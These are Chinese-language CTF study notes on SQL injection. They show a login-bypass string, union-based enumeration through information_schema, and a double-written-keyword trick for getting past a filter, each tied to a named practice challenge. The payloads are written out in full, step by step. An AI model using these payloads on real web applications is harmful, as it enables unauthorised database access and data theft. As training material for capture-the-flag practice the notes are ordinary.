万能密码:
经典无过滤:
例题(极客大挑战 2019 EasySQL):
万能密码:
1'or true#
泄露数据库、表、数据:
经典无过滤:
例题(SWPUCTF 2021 easy_sql):
有提示,参数是wllm,并且要我们输入点东西
所以,我们尝试以get方式传入
有回显,但似乎没啥用
从上图看应该是字符型漏洞,单引号字符注入
先查看字段数
/?wllm=2'order by 3--+
没回显
报错了,说明字段数是3
然后查看回显点
/?wllm=2'union select 1,2,3--+
注意,这里需要把wllm设置为不为1的数(就是让他查不到数据就行,因为wllm=1查得到数据),不然它只会输出wllm=1查询到的数据。
然后查看数据库名称
/?wllm=2'union select 1,2,database()--+
得到数据库名称就可以按顺序数据库-表-列来找flag了
/?wllm=2'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+
/?wllm=2'union select 1,2,flag from test_tb--+
双写绕过:
例题(极客大挑战 2019 BabySQL):
这里用1'order by 1#可以看出来or被过滤为空了
查看回显,下面都是用username来注入的
1'ununionion seselectlect 1,2,3#
查看数据库名
1'ununionion seselectlect 1,database(),3#
查看表名
1'ununionion seleselectct 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#
查看表
1'ununionion seleselectct 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'#
查看Flag列
1'ununionion seleselectct 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag'#
出flag
1'ununionion seleselectct 1,2,group_concat(flag) frfromom ctf.Flag#
持续更新